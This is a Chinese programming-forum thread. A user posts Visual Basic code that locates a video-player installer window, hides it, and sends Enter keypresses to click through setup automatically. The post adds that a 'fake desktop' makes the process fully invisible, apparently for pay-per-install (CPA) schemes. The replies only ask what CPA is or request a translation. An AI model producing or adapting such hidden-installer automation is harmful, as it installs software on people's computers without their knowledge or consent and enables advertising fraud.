CPA全自动安装VB原码

mengl520

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim hwnd1 As Long

Private Sub Form_Load()
hwnd1 = FindWindow(vbNullString, "安装-牛播网络影视 ")
If hwnd1 <> 0 Then
    'MsgBox "ok"
    SetWindowPos hwnd1, 0, 0, 0, 0, 0, &H87
    Timer1.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
Static i As Integer
i = i + 1

PostMessage hwnd1, &H100, vbKeyReturn, 0
If i = 5 Then
    Timer1.Enabled = False
    i = 0
End If
End Sub
'vbNullString 也可以使用窗口类名
'QQ:382267059
说明这个代码不能通过, 安装-牛播网络影视 打开你要安装才CPA原码
配合虚伪桌面使用效果更好,就能全部隐藏

792355294

能不能翻译成易语言的丫？

liujian18

不懂看代码

zz12

先去百度下CPA  一点一点积累

zz12

额 cpa百度怎么解释是注册会计师 ，郁闷 这个源码干嘛用的